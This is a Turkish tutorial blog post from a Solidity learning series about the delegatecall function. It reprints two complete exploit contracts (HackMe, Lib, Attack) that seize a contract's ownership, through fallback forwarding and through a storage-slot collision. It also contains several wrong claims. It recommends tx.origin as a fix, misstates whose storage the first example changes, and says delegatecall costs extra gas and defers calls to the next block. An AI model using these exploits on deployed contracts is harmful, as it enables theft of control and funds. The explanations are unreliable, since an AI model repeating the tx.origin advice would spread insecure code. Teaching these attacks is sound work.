1. Anasayfa
  2. 100 Günde Solidity

🧵 #100GündeSolidity 071 – Hacks : delegatecall

🧵 #100GündeSolidity 071 – Hacks : delegatecall
delegatecall
0

delegatecall

Merhaba!
#100GündeSolidity serisinin 71. e-bülteninde sizlerle birlikteyiz! Bu bülten için konumuz, Ethereum’da yaygın bir şekilde kullanılan ancak yanlış kullanımı veya yanlış anlaşılması durumunda ciddi sonuçlar doğurabilen bir fonksiyon olan “delegatecall“. Solidity öğrenme serimizdeki bu konuyu derinlemesine inceleyerek, bu fonksiyonun ne olduğunu, nasıl kullanıldığını ve kullanırken dikkat edilmesi gereken önemli detayları öğreneceğiz.

Bu bültende sizlere sunacağımız bilgiler, Ethereum topluluğunda yazılım geliştirme konusunda ilerlemenize yardımcı olacak.

Hazırsanız, hemen başlayalım!

Delegatecall Nedir?

Delegatecall, Ethereum platformunda bir fonksiyondur ve smart contractlar arasında etkileşim sağlamak için kullanılır. Bu fonksiyon, bir contractın kendisine verilen bir başka contractı çağırmasına olanak sağlar. Bu işlem sırasında, çağıran contractın context’i (yani storage, caller vb.) çağrılan contracta aktarılır. Bu sayede, çağrılan contractta çağıran contractın değişkenlerine erişebilir ve hatta çağıran contractta değişiklik yapabilirsiniz.

Delegatecall, smart contractlar arasında kod yeniden kullanımı sağlamak için kullanılır. Özellikle, bir contractın birden fazla contract tarafından kullanılması gerektiğinde kullanışlıdır. Bununla birlikte, delegatecall kullanmanın yanlış anlaşılması veya yanlış kullanımı ciddi güvenlik riskleri oluşturabilir.

Delegatecall Kullanmanın Riskleri Nelerdir?

Delegatecall kullanmanın yanlış anlaşılması veya yanlış kullanılması ciddi güvenlik riskleri oluşturabilir. Bazı riskler şunlardır:

  1. Storage Değişkenleri Çakışması: Delegatecall işlemi sırasında, çağıran contractın storage’ı çağrılan contracta aktarılır. Eğer çağıran contract ve çağrılan contract aynı storage değişkenlerine sahipse, bu değişkenlerin değerleri değişebilir. Bu durum, istenmeyen sonuçlara yol açabilir.
  2. Kod Yeniden Kullanımı: Delegatecall kullanarak bir contractın kodunu başka bir contractta yeniden kullanmak, çağıran contractın kontrolü altındaki bir contractın kodunu etkileyebilir. Bu, kötü amaçlı kişilerin, çağıran contractın kontrolünü ele geçirmelerine olanak sağlayabilir.
  3. Caller Adresinin Değiştirilmesi: Delegatecall işlemi sırasında, çağıran contractın caller adresi çağrılan contracta aktarılır. Eğer çağıran contractın caller adresi değiştirilirse, çağrılan contract da bu değişiklikten etkilenebilir.
  4. Gas Limitleri: Delegatecall işlemi, normal çağrılardan daha fazla gas tüketir. Bu nedenle, gas limitlerinin doğru ayarlanması önemlidir. Aksi takdirde, işlem başarısız olabilir veya gas limiti aşılarak ether kaybı yaşanabilir.

Bu nedenlerden dolayı, delegatecall kullanmadan önce, bu risklerin farkında olmalı ve doğru bir şekilde kullanılması için gerekli önlemleri almalısınız.

Delegatecall Nasıl Kullanılır?

Delegatecall kullanmak için, aşağıdaki adımları takip etmelisiniz:

  1. Delegatecall kullanacağınız contracta sahip olmalısınız.
  2. Delegatecall yapılacak fonksiyon, çağrılan contractta bulunmalıdır. Bu fonksiyonun çağrılan contractın storage’ına erişebilmesi için, storage layout’unun aynı olması gerektiğini unutmayın.
  3. Delegatecall yapacak fonksiyonu çağıran contracta ekleyin. Fonksiyon içinde, delegatecall fonksiyonunu çağırarak, çağrılan contractta bulunan fonksiyonu çalıştırın.

Örnek olarak, aşağıdaki kodda, ContractA, delegatecall kullanarak ContractB’deki “doSomething” fonksiyonunu çağırır:

pragma solidity ^0.8.0;

contract ContractB {
   uint public x;

   function doSomething(uint _value) public {
      x = _value;
   }
}

contract ContractA {
   function callDoSomething(address _contractB, uint _value) public {
      (bool success, ) = _contractB.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _value));
      require(success, "Delegatecall failed");
   }
}

Bu kodda, ContractA’daki “callDoSomething” fonksiyonu, ContractB’deki “doSomething” fonksiyonunu çağırır. Delegatecall işlemi sırasında, ContractB’nin storage’ı ContractA’ya aktarılır ve “doSomething” fonksiyonu ContractB’nin storage’ını değiştirir.

Delegatecall kullanırken dikkatli olunması önemlidir. Yanlış kullanımı veya yanlış anlaşılması, güvenlik riskleri oluşturabilir. Bu nedenle, delegatecall kullanmadan önce, doğru bir şekilde kullanımını öğrenmeli ve güvenlik açıklarını önlemek için gerekli önlemleri almalısınız.

Delegatecall Kullanırken Dikkat Edilmesi Gerekenler

Delegatecall kullanırken, dikkat edilmesi gereken iki önemli nokta vardır:

  1. Context’in Korunması: Delegatecall işlemi sırasında, çağıran contractın storage’ı, çağrılan contracta aktarılır. Bu nedenle, çağrılan contractın context’i, çağıran contractın context’ini değiştirebilir. Bu durum, istenmeyen sonuçlara yol açabilir. Bu nedenle, delegatecall kullanırken, context’in korunmasını sağlamak için dikkatli olmalısınız. Örneğin, msg.sender veya msg.value gibi önceden tanımlanmış değişkenlerin, çağıran contractın context’ine göre doğru bir şekilde ayarlanması gerekir.
  2. Depolama Yapısının Aynı Olması: Delegatecall işlemi sırasında, çağrılan contractın storage’ı, çağıran contractın storage’ına aktarılır. Bu nedenle, çağıran contract ve çağrılan contractın storage yapısının aynı olması gereklidir. Eğer aynı olmazsa, storage değişkenleri çakışabilir ve istenmeyen sonuçlara yol açabilir.

Bu nedenlerden dolayı, delegatecall kullanmadan önce, bu iki önemli noktaya dikkat etmek önemlidir. Ayrıca, gas limitlerinin doğru ayarlanması da önemlidir. Delegatecall işlemi, normal çağrılardan daha fazla gas tüketir. Gas limitlerinin doğru ayarlanmaması, işlem başarısız olabilir veya gas limiti aşılabilir, bu da ether kaybına neden olabilir.

Delegatecall kullanırken, doğru bir şekilde kullanımını öğrenmek ve güvenlik açıklarını önlemek için gerekli önlemleri almak önemlidir.

Delegatecall Örnekleri ve Uygulamaları

Delegatecall, Solidity’de oldukça güçlü bir araçtır ve birçok farklı uygulama alanı vardır. Aşağıda, delegatecall kullanılarak yapılabilecek bazı örnekler ve uygulamalar verilmiştir:

  1. Storage Merkezli Fonksiyonlar: Solidity’de, depolama değişkenleri oldukça önemlidir. Delegatecall kullanarak, depolama değişkenlerinin içeriğini güncelleyen veya okuyan merkezi bir fonksiyon yazabilirsiniz. Bu fonksiyon, farklı contractlardan çağrıldığında, her bir contractın storage’ında tutulan değişkenlerin değerini okur veya günceller.
  2. Merkezi Olmayan Kimlik Doğrulama: Delegatecall, merkezi olmayan kimlik doğrulama sistemlerinde kullanılabilir. Örneğin, bir kullanıcının kimliğini doğrulamak için, birden fazla contractı çağırabilirsiniz. Bu contractlardan her biri, farklı kimlik doğrulama sistemlerine sahip olabilir. Delegatecall kullanarak, kullanıcının kimliğini doğrulamak için tüm contractlar çağrılabilir ve sonuçlar birleştirilebilir.
  3. Upgradeable Contractlar: Delegatecall, upgradeable contractların yazılmasında da kullanılabilir. Upgradeable contractlar, yeni bir versiyonunun yayınlanması gerektiğinde, eski contractın fonksiyonlarını çağırarak, yeni contractın fonksiyonlarını kullanabilir. Böylece, yeni versiyonun yayınlanması, kullanıcıların contract adreslerini değiştirmelerini gerektirmez.
  4. Merkezi Olmayan Exchange: Delegatecall, merkezi olmayan bir exchange’in yazılmasında da kullanılabilir. Örneğin, kullanıcının farklı contractlarda tuttuğu tokenlerin takas edilebileceği bir exchange yazılabilir. Delegatecall kullanarak, kullanıcının tokenlerinin contract’ı çağrılıp, takas işleminin gerçekleştirileceği contract’ın fonksiyonları çağrılabilir.
  5. Merkezi Olmayan Kurumsal Yönetişim: Delegatecall, merkezi olmayan kurumsal yönetişim sistemlerinin yazılmasında da kullanılabilir. Örneğin, token sahiplerinin oylama yapabilmesi için, farklı contractlardaki oylama sistemi fonksiyonları çağrılabilir. Delegatecall kullanarak, farklı contractlarda tutulan oylama sistemlerinin sonuçları bir araya getirilebilir.

Delegatecall, Solidity’de oldukça güçlü bir araçtır ve birçok farklı uygulama alanı vardır. Ancak, doğru bir şekilde kullanılmadığında, ciddi güvenlik açıklarına neden olabilir. Bu nedenle, delegatecall kullanırken, dikkatli olmak ve doğru bir şekilde kullanımını öğrenmek önemlidir.

Akıllı Sözleşme Örneği İnceleme

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

/*
HackMe is a contract that uses delegatecall to execute code.
It is not obvious that the owner of HackMe can be changed since there is no
function inside HackMe to do so. However an attacker can hijack the
contract by exploiting delegatecall. Let's see how.

1. Alice deploys Lib
2. Alice deploys HackMe with address of Lib
3. Eve deploys Attack with address of HackMe
4. Eve calls Attack.attack()
5. Attack is now the owner of HackMe

What happened?
Eve called Attack.attack().
Attack called the fallback function of HackMe sending the function
selector of pwn(). HackMe forwards the call to Lib using delegatecall.
Here msg.data contains the function selector of pwn().
This tells Solidity to call the function pwn() inside Lib.
The function pwn() updates the owner to msg.sender.
Delegatecall runs the code of Lib using the context of HackMe.
Therefore HackMe's storage was updated to msg.sender where msg.sender is the
caller of HackMe, in this case Attack.
*/

contract Lib {
    address public owner;

    function pwn() public {
        owner = msg.sender;
    }
}

contract HackMe {
    address public owner;
    Lib public lib;

    constructor(Lib _lib) {
        owner = msg.sender;
        lib = Lib(_lib);
    }

    fallback() external payable {
        address(lib).delegatecall(msg.data);
    }
}

contract Attack {
    address public hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() public {
        hackMe.call(abi.encodeWithSignature("pwn()"));
    }
}

Bu örnekte, HackMe adlı bir akıllı sözleşme ve Lib adlı bir akıllı sözleşme kütüphanesi var. HackMe, Lib’i çağırmak için delegatecall kullanıyor. HackMe’in sahibi, Lib’in sahibini değiştiren bir işlem gerçekleştirmek için pwn() adlı bir işlev içeriyor. Ancak HackMe’de bu işlemi gerçekleştiren herhangi bir işlev yok.

Bu sözleşmenin bir güvenlik açığı var. Attack adlı bir akıllı sözleşme, HackMe’in adresini alarak oluşturulabilir ve HackMe’in sahibi olabilir. Bunun sebebi, HackMe’in delegatecall kullanarak Lib’deki pwn() işlevini çağırdığı ve HackMe’in bağlamını koruduğu için HackMe’in depolama alanının çağıran tarafından güncellenebileceği gerçeğidir.

Attack sözleşmesi, HackMe’in pwn() işlevini çağırmak için call() yöntemini kullanır ve sonuçta HackMe’in sahibi olur.

Bu güvenlik açığı, HackMe sözleşmesindeki fallback() işlevinin delegatecall çağrısında msg.data’yı kullanması nedeniyle ortaya çıkmaktadır. Dolayısıyla, herhangi bir çağrının gerçekleştiği noktada msg.data’ya erişilebilir hale gelir ve bu nedenle bir saldırganın bu değişkeni manipüle ederek HackMe’in sahibi olması mümkün hale gelir.

Çözüm, msg.sender’ı doğru bir şekilde kullanmaktır. HackMe’deki fallback() işlevinde msg.sender kullanılmak yerine tx.origin kullanılabilir. Bu, HackMe’in depolama alanının sadece HackMe’in sahibi tarafından güncellenebileceği anlamına gelir ve bu güvenlik açığı önlenir.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

/*
This is a more sophisticated version of the previous exploit.

1. Alice deploys Lib and HackMe with the address of Lib
2. Eve deploys Attack with the address of HackMe
3. Eve calls Attack.attack()
4. Attack is now the owner of HackMe

What happened?
Notice that the state variables are not defined in the same manner in Lib
and HackMe. This means that calling Lib.doSomething() will change the first
state variable inside HackMe, which happens to be the address of lib.

Inside attack(), the first call to doSomething() changes the address of lib
store in HackMe. Address of lib is now set to Attack.
The second call to doSomething() calls Attack.doSomething() and here we
change the owner.
*/

contract Lib {
    uint public someNumber;

    function doSomething(uint _num) public {
        someNumber = _num;
    }
}

contract HackMe {
    address public lib;
    address public owner;
    uint public someNumber;

    constructor(address _lib) {
        lib = _lib;
        owner = msg.sender;
    }

    function doSomething(uint _num) public {
        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
    }
}

contract Attack {
    // Make sure the storage layout is the same as HackMe
    // This will allow us to correctly update the state variables
    address public lib;
    address public owner;
    uint public someNumber;

    HackMe public hackMe;

    constructor(HackMe _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() public {
        // override address of lib
        hackMe.doSomething(uint(uint160(address(this))));
        // pass any number as input, the function doSomething() below will
        // be called
        hackMe.doSomething(1);
    }

    // function signature must match HackMe.doSomething()
    function doSomething(uint _num) public {
        owner = msg.sender;
    }
}

Bu örnekte, birkaç adım ve biraz daha karmaşık bir yapı kullanılarak HackMe sözleşmesinin sahibi değiştirilmektedir. Öncelikle, Lib sözleşmesi HackMe sözleşmesine atanmaktadır. Daha sonra, Attack sözleşmesi HackMe sözleşmesinin adresiyle birlikte yayınlanmaktadır. Attack’in attack() fonksiyonu çağrıldığında, öncelikle HackMe sözleşmesinin lib adresi değiştirilmektedir. Bu, lib’in Attack sözleşmesinin adresiyle değiştirilmesiyle gerçekleşir. Daha sonra, doSomething() fonksiyonu ikinci kez çağrılır ve Attack sözleşmesi HackMe sözleşmesinin sahibini değiştirir.

Bu örnek, HackMe sözleşmesinin sahibini değiştirme riskini gösterir. Güvenlik açığı, HackMe ve Lib sözleşmelerinde depolama değişkenlerinin farklı şekilde tanımlanmasından kaynaklanmaktadır. Bu nedenle, Lib sözleşmesindeki bir işlev çağrısı, HackMe sözleşmesindeki ilk depolama değişkenini etkiler. Attack sözleşmesi bu açığı kullanarak HackMe sözleşmesinin sahibini değiştirir.

Bu güvenlik açığının önlenmesi için HackMe ve Lib sözleşmelerinde depolama değişkenlerinin aynı şekilde tanımlanması gerekmektedir. Ayrıca, özel işlev çağrılarının doğru bir şekilde kullanılması ve herhangi bir işlev çağrısının yanlış bir şekilde HackMe sözleşmesi depolama değişkenlerine erişmesinin önlenmesi gerekmektedir.

Delegatecall Kullanırken Yapılması Gereken Güvenlik Kontrolleri

Delegatecall kullanırken aşağıdaki güvenlik kontrolleri yapılmalıdır:

  1. Doğru Adres Kullanımı: Delegatecall işlemi için kullanılacak olan akıllı sözleşme adresinin doğru olup olmadığı kontrol edilmelidir. Yanlış adres kullanımı, istenmeyen sonuçlara ve hatta fon kaybına neden olabilir.
  2. Depolama Yapısı: Delegatecall kullanımında depolama yapısı aynı olmalıdır. Değişiklikler yapılacak olan depolama alanının, çağrılan akıllı sözleşmeyle aynı yapısı olmalıdır. Aksi takdirde, hatalı bir şekilde yapılandırılmış bir depolama yapısı, istenmeyen sonuçlara neden olabilir.
  3. Girdi Değerlerinin Kontrolü: Delegatecall kullanırken girdi değerleri dikkatlice kontrol edilmelidir. Girdi değerleri doğru bir şekilde belirlenmezse, akıllı sözleşmenin beklenmeyen şekilde davranması söz konusu olabilir.
  4. Fonksiyon Seçici Kontrolü: Delegatecall işlemi için kullanılacak olan fonksiyon seçicisi (function selector) doğru belirlenmeli ve gerektiği gibi kullanılmalıdır. Yanlış bir fonksiyon seçici kullanımı, istenmeyen sonuçlara ve hatta fon kaybına neden olabilir.
  5. Gas Limit Kontrolü: Delegatecall işlemi için belirlenen gas limit kontrol edilmelidir. Gas limit, akıllı sözleşme tarafından kullanılabilecek maksimum gas miktarını belirler. Yeterli gas limiti olmayan bir işlem, başarısızlıkla sonuçlanabilir veya gas tüketimi nedeniyle işlem iptal edilebilir.

Bu güvenlik kontrolleri Delegatecall kullanımında dikkat edilmesi gereken önemli noktalardır ve bu kontroller doğru bir şekilde yapıldığı takdirde güvenli bir Delegatecall işlemi gerçekleştirilebilir.

Delegatecall’in Alternatifleri Nelerdir?

Delegatecall’in alternatifleri şunlardır:

  1. Call: Call, bir sözleşme metodunu çağırmak için kullanılan diğer bir Solidity fonksiyonudur. Call, çağrıldığı sözleşmenin durumunu etkilemez ve sözleşmenin adresi, sözleşmenin içinde kullanıldığı fonksiyondan bağımsızdır. Call, belirli bir fonksiyonu çağırmak için kullanılır ve geri dönüş değerini alır.
  2. Staticcall: Staticcall, belirli bir sözleşme fonksiyonunun durumunu sorgulamak için kullanılır. Staticcall, sözleşmenin durumunu etkilemez ve herhangi bir veri değişikliğine neden olmaz. Staticcall, geri dönüş değerini alır.
  3. Send: Send, belirli bir miktarda ETH göndermek için kullanılır ve çağrılan sözleşmenin durumunu etkilemez. Send, geri dönüş değeri alamaz ve çağrılan sözleşme metodunun tamamlanıp tamamlanmadığını kontrol etmez.
  4. Create: Create, yeni bir sözleşme oluşturmak için kullanılır. Yeni sözleşme, çağrıldığı sözleşmenin durumunu etkilemez. Create, geri dönüş değeri olarak yeni sözleşmenin adresini verir.

Bu alternatiflerin hepsi, belirli bir işlevi çağırmak veya sözleşme durumunu sorgulamak için kullanılabilir ve delegatecall’in aksine, sözleşme durumunu değiştirmek için kullanılmazlar.

Delegatecall’e Karşı Savunma Yöntemleri ve İpuçları

Delegatecall kullanımı, akıllı sözleşmelerin işlevselliğini artıran bir özellik olsa da, aynı zamanda ciddi güvenlik riskleri taşıdığı için dikkatli bir şekilde kullanılmalıdır. Aşağıda Delegatecall’e karşı savunma yöntemleri ve ipuçları verilmiştir:

  1. Trustless Design: Delegatecall’in risklerini minimize etmenin en iyi yolu, güvenli bir tasarım kullanmaktır. Akıllı sözleşmeniz, gerekli olmadığı sürece başka bir sözleşmeyle etkileşime girmemelidir.
  2. Storage Layout: Delegatecall kullanırken, hedef sözleşmenin depolama alanının yapısını dikkate almanız gerekir. Delegatecall yoluyla çağrılan işlevler, hedef sözleşmenin depolama alanını değiştirebilir. Bu nedenle, hedef sözleşme ile aynı depolama düzenine sahip olduğunuzdan emin olun.
  3. Trusting the Caller: Delegatecall kullanırken, çağıran sözleşmenin güvenilir olduğundan emin olmanız gerekir. Sadece güvenilir sözleşmelerle etkileşimde bulunun ve güvensiz sözleşmelere kesinlikle güvenmeyin.
  4. Input Validation: Delegatecall kullanırken, çağrılan işlevin girdilerini doğrulamak için yeterli kontroller yapın. Çağrılan işlevin yanlış girdileri işleyebileceği veya beklenmeyen sonuçlar üretebileceği unutulmamalıdır.
  5. Gas Limit: Delegatecall, bir işlev çağrısını zincirin bir sonraki bloğuna kadar erteleyebilir. Bu, bir işlev çağrısının beklenenden daha uzun sürebileceği anlamına gelir. Bu nedenle, Delegatecall kullanırken, gaz limitlerini dikkatli bir şekilde ayarlamanız ve kullanıcıları gereksiz yere bekletmemeniz gerekir.
  6. Güncellemeleri Takip Etmek: Delegatecall kullanırken, Ethereum ekosistemi hızla geliştiği için, güncellemeleri takip etmeniz ve akıllı sözleşmenizi en son standartlara güncellemeniz önemlidir.

Delegatecall, akıllı sözleşmelerin etkileşimli doğasını kolaylaştıran güçlü bir araçtır. Ancak, güvenliği sağlamak için dikkatli bir şekilde kullanılmalıdır ve yukarıdaki savunma yöntemleri ve ipuçları dikkate alınmalıdır.

Sonuç Bağlamı

Bu bültende, Ethereum akıllı sözleşmelerinde Delegatecall işlevi, kullanımı, avantajları, dezavantajları, güvenlik riskleri ve korunma yöntemleri gibi konuları ele aldık. Delegatecall’in potansiyel güvenlik risklerine karşı dikkatli olmak önemlidir ve güvenli kullanımı için bazı ipuçları ve alternatifler vardır. Akıllı sözleşmelerin geliştirilmesinde, hem Delegatecall’in avantajlarından yararlanarak hem de güvenliği koruyarak, daha sağlam ve güvenli bir kod yazmak önemlidir.

Solidity Programlama Dili Öğrenme yolculuğunuz hakkında daha iyi rehberlik almak için Solidity nedir? Ethereum Akıllı Sözleşmelerinin Dili Rehberi içeriğimize göz atın. Dilerseniz Yeni Başlayanlar için Solidity – Akıllı Sözleşme Geliştirme Hızlandırılmış Kursuna katılın.

Çalışmaya nereden başlayacağım diyenler için Blockchain ​​Developer Olmak İçin Yol Haritası içeriğine de muhakkak bakın.

Gelin aklınızdaki soruları SUPERPEER sohbetinde cevaplayalım.

Bu makaleyi okuduğunuz için teşekkürler! Bana destek olmak isterseniz;

Beni TwitterLinkedin ve YouTube‘da takip edin.

Kısa bir yorum bırakmayı UNUTMAYIN!

solidity101 - Solidity, 2015 yılında Christian Reitwiessner liderliğinde piyasaya sürülen, büyük harf kullanımına göre ikinci en büyük kripto para piyasası olan Ethereum tarafından oluşturulan yepyeni bir programlama dilidir.

Yazarın Profili
İlginizi Çekebilir

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir